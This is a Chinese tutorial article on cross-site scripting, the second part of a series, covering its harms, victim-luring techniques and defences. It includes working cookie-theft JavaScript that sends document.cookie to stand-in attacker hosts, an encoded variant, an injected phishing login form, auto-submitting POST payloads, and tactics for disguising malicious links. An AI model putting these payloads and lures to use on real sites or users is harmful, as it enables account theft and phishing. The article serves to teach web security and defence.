【51CTO.COM 独家特稿,转载请注明出处及作者】跨站脚本的名称源自于这样一个事实,即一个Web 站点(或者人)可以把他们的选择的代码越过安全边界线注射到另一个不同的、有漏洞的Web 站点中。当这些注入的代码作为目标站点的代码在受害者的浏览器中执行时,攻击者就能窃取相应的敏感数据,并强迫用户做一些用户非本意的事情。
在本文的上篇中,我们详细介绍了跨站脚本漏洞利用的过程,并对HTML注入进行深入分析;而本文将详细介绍跨站脚本的危害,以及攻击者是如何诱骗受害者的;最后介绍针对跨站脚本攻击的防御措施。
一、跨站脚本的危害
XSS是一种对Web应用程序的用户发动的攻击,利用它攻击者能装扮成被攻击的用户来完全控制Web应用程序,即便Web应用程序位于一个防火墙之后并且攻击者无法直接接触该Web应用程序也是如此。XSS一般不会对用户的机器造成损害,也不会对Web应用程序服务器直接造成破坏。如果成功,攻击者可以做三种事情:
窃取Cookie
在受害用户面前假冒成Web应用程序
在Web应用程序面前假冒成受害用户
二、窃取Cookie
Cookie一般控制着对Web应用程序的访问,如果攻击者偷窃了受害用户的Cookie,那么攻击者就可以使用受害者的Cookie来完全控制受害者的帐户。对于Cookie来说,其最佳实践就是让它在一段时间后过期,这样的话攻击者就只能在有限的时间内访问受害者的帐户。可以利用下面的代码来窃取Cookie:
var x=new Image();x.src='http://attackerssite.com/eatMoreCookies?c='
+document.cookie;
或者像下面这样:
document.write("〈 img src='http://attackerssite.com/eatMoreCookies"+
"?c="+document.cookie+"'〉");
如果某些字符是禁止的,则将其转换为ASCII的十进制数,然后使用JavaScript的String.charFromCode()函数即可。下列JavaScript等价于前面的JavaScript:
eval(String.charFromCode(118,97,114,32,120,61,110,101,119,32,73,109,
97,103,101,40,41,59,120,46,115,114,99,61,39,104,116,116,112,58,47,47,
97,116,116,97,99,107,101,114,115,115,105,116,101,46,99,111,109,47,
101,97,116,77,111,114,101,67,111,111,107,105,101,115,63,99,61,39,43,
100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59));
三、钓鱼攻击
通过假冒Web应用程序,攻击者可以将XSS用于社会工程。XSS攻击得手后,攻击者能够完全控制Web应用程序的外观。这可用于丑化web,例如攻击者在页面上放置一个无聊的图片。适于打印的常见图像之一是Stall0wn3d,即你被黑了。
下面是用于这种攻击的HTML注入字符串:
〈script〉document.body.innerHTML="〈img
src=http://evil.org/stallown3d.jpg〉";〈/script〉.
然而,控制Web应用程序呈现在受害用户面前的外观比简单显示一些火辣热图更为有利,攻击者可以以此发动钓鱼攻击:强制用户向攻击者提供机密信息。利用document.body.innerHTML,可以提供一个跟有弱点的Web应用程序的登录页面外观完全一样的登录页面,并且该登录页面来自那个被注入HTML的域,但是提交表单时,数据却发往攻击者选择的站点。
因此,当受害用户输入他的或者她的用户名和口令时,这些信息就会落入攻击者手中。代码如下所示:
document.body.innerHTML="〈 h1 〉Company Login〈 / h1〉〈form
action=http://evil.org/grabPasswords method=get〉
〈p〉User name:〈input type=text name=u〉〈p〉Password〈input type=password
name=p〉〈input type=submit name=login〉〈/form〉";
使用这段代码的一个小技巧是通过一个GET请求发送表单。这样,攻击者甚至不必编写grabPasswords页面,因为该请求将写到Web服务器的错误信息日志里,这里的信息可以轻松读取。
四、冒充受害者胡作非为
XSS对Web应用程序最大的影响在于,黑客能够通过它假冒成Web应用程序的合法用户。下面是一些攻击者能够对Web应用程序做的一些事情:
在一个webmail应用程序中,攻击者可以:
以用户的名义发送电子邮件
获取用户的联系人名单
更改自动BCC属性
更改隐私/日志记录设置
在基于 Web 的即时通讯或聊天软件中,攻击者可以:
获取联系人名单
向联系人发送消息
添加/删除联系人
在一个基于 Web 的网络银行或金融系统中,攻击者能够:
划拔资金
申请信用卡
更改地址
在电子商务系统上,攻击者能够:
购买商品
每当分析XSS对站点的影响时,想一想如果他控制了受害者的鼠标和键盘能干什么就行了。考虑一下受害者的内部网中的受害者的计算机能做哪些坏事。要想假冒成用户,攻击者需要弄清Web应用程序是如何工作的。有时候,可以通过阅读页面源代码来达此目的,但是最好的方法是使用一个Web代理,例如Burp Suite、WebScarab或者Paros Proxy等。
这些web 代理会拦截往返于Web 浏览器和Web服务器之间的所有通信数据,甚至包括通过HTTPS传输的流量。您可以记录这些会话以弄明白Web应用程序是向服务器发送回数据的。 这对于弄清楚如何假冒成该应用程序非常有帮助,此外,web 代理对于发现XSS及其他Web应用程序漏洞也有极大的帮助。#p#
五、XSS蠕虫
一直在线的Web应用程序,诸如webmail、社交网络、聊天室、在线多人游戏、在线赌场或者一切需要用户交互以及需要在用户间相互发送某种形式信息的Web应用程序,都容易受到XSS蠕虫的攻击。XSS蠕虫充分地利用了Web应用程序的特性来自我传播。例如,Webmail应用中的XSS蠕虫利用了攻击者能够捕获受害者的联系人名单与发送电子邮件的事实。
当受害者点击了指向HTML注入的链接时,XSS就会被激活,由此触发脚本的执行。 脚本将搜索受害者的联系人名单,然后发送电子邮件到受害者的联系人名单中的每个联系人。每个联系人将收到一封来自有信誉的发件人(受害者)的电子邮件,该邮件会邀请联系人单击一些链接。一旦他单击了该链接,这个联系人就会变成了另一个受害者,然后他的联系人也会收到他的来信。
XSS蠕虫以极快的速度繁衍,能够在短期内感染许多用户,并引起大量的网络流量。对于传播其它攻击诸如钓鱼攻击等,非常有效。更为有趣的是,攻击者有时候会向Web应用程序添加隐藏的HTML 内容以便对浏览器发动多种攻击。如果用户运行的Web 浏览器不是最新的,攻击者就能够完全控制用户的机器。本例中,XSS用来传递某些其他弱点。
上面部分介绍了跨站脚本的危害,下面介绍攻击者是如何诱骗受害者的。
六、诱捕受害者
现在,我们已经知道如何寻找HTML注入点,以及如果攻击者能够使用户单击指向注入的HTML的链接的话,他能够做哪些事情。有时候,注入的HTML会在正常的用户交互过程中被激活。也就是说,有许多有效的方法。然而,通常情况下攻击者必须使用户单击了指向注入的HTML代码的链接才能激活攻击过程。本节简要讨论如何促使受害者去单击一个链接。
现在假设您就是攻击者。如果您发现可以在http://search.engine.com/search?p= 注入HTML,并且在http://evil.org/e.js处设计了一个恶意的脚本。 现在,你只要设法让人们点击下列链接就行了:
http://search.engine.com/search?p=
但是,究竟会有多少人会点击上述的链接呢?对电脑知识稍有了解的用户一眼就能看出点击上述链接肯定不会有好事。因此,攻击者需要给这个链接化化妆,然后引诱用户单击一些更诱人的东西。
七、隐蔽指向注入的HTML的链接
可以用不同的方法来隐蔽链接,例如通过anchor标签、使用URL缩短技术站点、博客以及为攻击者所控制的网站等。
第一个建议十分简单,大多数Web应用程序会自动在URL周围封装上锚标签以便于用户跟随链接。如果攻击者可以写入他自己的超链接,诸如在一个webmail应用程序中,那么攻击者就能够构造一个如下所示的链接:
http://goodsite.com/cuteKittens.jpg
这个链接会作为http://goodsite.com/cuteKittens.jpg出现,然而,当受害者点击这个链接时,将被带至注入的HTML(即实际上点击的是攻击者注入的HTML)。
用于缩短URL的Web应用程序,诸如TinyURL、YATUC、ipulink.com、get-shorty.com(以及所有实现get-shorty功能的网站)等等,都能把冗长的URL转换成简短的URL。这些站点都是通过将URL映射到一个较短的URL,而较短的URL又重定向到一个长URL来实现的。
由于使用了较短的URL把冗长的URL隐藏了起来,这样就更容易获取人们(甚至一些老道的计算机用户)的信任,从而单击恶意链接,例如,对于下面这个容易露馅的HTML注入:
http://search.engine.com/search?p=
我们可以把它映射成一个单独的URL,如下所示:
http://tinyurl.com/2optv9
目前,就算是警惕性很高的计算机用户也很少有人知道类似的TinyURL的提供URL缩短服务的站点。这样,我们可以通过不太流行的提供URL缩短技术的Web应用程序获取更多有经验的计算机用户的信任,从而使他们去毫无疑虑的点击我们的链接;此外,我们也可以创建自己的web页面,并在其中放入下列内容:
document.location =
"http://search.engine.com/search?p=
注意,document.location的字符串中的标签在上述JavaScript被执行之前是作为HTML出现的。对于POST方式的HTML注入,您可以编写下面的代码:
〈html〉
〈body〉
〈!-- something distracting like a cute kitten --〉
〈img src=cuteKitten.jpg〉
〈!-- and some HTML injection --〉
〈form action="http://search.engine.com/search" method="POST"
name="evilForm"〉
〈input type="hidden" name="p" value="〈script〉a_lert(1)〈/script〉"〉
〈/form〉
〈script〉
document.evilForm.submit()
〈/script〉
〈/body〉
〈/html〉
document.evilForm.submit()
现在,把上述代码放到您自己的Web站点或者blog中——如果没有的话,现在有许多免费的Web站点以及blog托管站点可用。
一种不错的隐蔽技术是滥用IE的MIME类型不匹配问题。例如,创建一个文本文件,将其命名为cuteKitten.jpg,然后放入下列内容:
〈iframe style="display:none"
src="http://search.engine.com/search?p=〈script〉a_lert(1)"〉〈/iframe〉
〈img src="someCuteKitten.jpg"〉
上载cuteKitten.jpg,例如放到http://somwhere.com/cuteKitten.jpg。当用户点击该链接时,IE会认出cuteKitten.jpg根本就不是一张图像,所以它继而将其作为HTML进行解释。这样在显示图像someCuteKitten.jpg的时候实际上会在后台利用一个注入的HTML代码。
最后,攻击者只要注册一个听起来很正规的域名并且将该html注入寄放在该域名中即可。例如,googlesecured.com就是一个看上去很真可信的域名。
八、促使用户单击注入的HTML代码
利用“免费色情图片”以及“伟哥甩卖”来引诱别人已经成为过去,现在,攻击者通常会促使用户去做一些普通大众经常做的事情,诸如单击一个新闻链接、欣赏一副可爱的小猫的图片等等,当然使用的方法在前面我们已经说过了。
例如,快到情人节了,大多数年轻人都希望给爱人一个惊喜。攻击者就会考虑利用“阅读本文以了解如何您的爱人一个与众不同的情人节”之类的文字来诱惑用户单击链接。借助于XSS蠕虫,如果人们看到这封邮件来自其好友的话,那么人们会毫不犹豫地点击它。
然而,攻击者放入的文字越多,越容易引起潜在受害者的疑虑。现今,最有效的信件应当只发给潜在的受害者一个链接,而根本不附加任何文字。好奇是人类的本性,在这种强烈的本能的驱使下,点击该链接将大有人在。
至此,攻击手法的介绍已经告一段落,下面开始简要介绍针对跨站脚本攻击的防御措施。
九、防御跨站点脚本攻击
为了防御XSS攻击,开发人员必须谨慎处理由用户提供的并且又反过来提供给用户的那些数据。这里所说的“用户提供的数据”应该定义为所有从外部网络连接发送给Web应用程序的那些数据。
它可以是登录时用HTML表单提交的用户名,一个后台的Ajax请求、一封电子邮件、乃至http报头。要把所有这些数据都看作是从外部网络连接进入Web应用程序的有潜在危险的数据。
对于所有由用户提供的随后又通过HTTP应答(诸如Web页面以及AJAX响应(HTTP响应码200)、页面未找到错误(HTTP响应码404)、服务器错误(类似的HTTP 响应码502)、重定向(例如HTTP 响应码302,等等)回显给用户的那些数据,开发人员必须采取下列措施之一:
对数据进行正确地转义处理,以保证它们不会被解释为HTML代码(对浏览器而言)或者XML代码(对Flash而言)。
删除会被恶意使用的字符串或者字符
一般情况下,删除一些字符会对用户体验造成影响,举例来说,如果开发人员删除了上撇号(’),那么对某些人来说就会带来不便,如姓氏中带有撇号的人,他们的姓氏就无法正常显示。同时,严禁开发人员删除字符串,因为完全可以通过许多不同的形式来表示字符串。应用程序和浏览器会对字符串作出不同的解释。例如,SAMY蠕虫利用了IE不把换行符作为定界符字符这一事实,因此,IE看来JavaScript和jav%0dascr%0dipt是一回事。遗憾的是,MySpace把换行符解释为字的分界符号,并允许将向Samy(及其他人)的MySpace页面中放入下列内容:
〈 div id="mycode" expr="a_lert('1')" style="background:url('java
script:eval(document.all.mycode.expr)')"〉〈/div〉
我们建议对所有用户提供的又被发回给Web浏览器的数据都进行转义处理,包括AJAX调用、移动式应用、Web页面、重定向等等内的数据。然而,对字符串进行转义处理并不是我们想得那么简单:您必须根据用户提供的数据将被放到HTTP应答中的具体位置来决定使用URL编码、HTML实体编码或者JavaScript编码进行转义。
十、防范基于UTF-7的XSS
基于UTF-7的攻击是很容易防范的,只要强制指定在HTTP报头中的或者HTML响应内部的字符编码即可。我们建议对默认HTTP报头做如下设置:
Content-Type: text ml; charset=utf-8
还应当对全部HTML响应添加下列限制:
< meta http-equiv="Content-Type" content="text ml;charset=utf-8" >
十一、结束语
在浏览器中已经建立了一些安全措施——即同源策略和Cookie安全模型。此外,一些浏览器插件,诸如Flash Player、Outlook Express 以及Acrobat Reader等,带来了更多的安全问题和安全措施。然而,如果攻击者可以强迫用户执行源自特定域的JavaScript的话,这些额外的安全措施总是倾向于削弱同源策略的力量。
跨站点脚本攻击(XSS)技术能够强迫用户执行攻击者以受害者名义在某个域上选择的脚本,如JavaScript、VBScript、ActionScript,等等。XSS要求某个域上的Web应用程序能够提供(即供应、返回)被攻击者所控制的字符。因此,攻击者可以向页面注入代码,而这些代码将来会在这个有弱点的域的上下文中执行。本文详细介绍跨站脚本的危害,以及攻击者是如何诱骗受害者的。最后介绍针对跨站脚本攻击的防御措施。至此,读者已经能够对跨站脚本攻击有一个全面深入的了解了。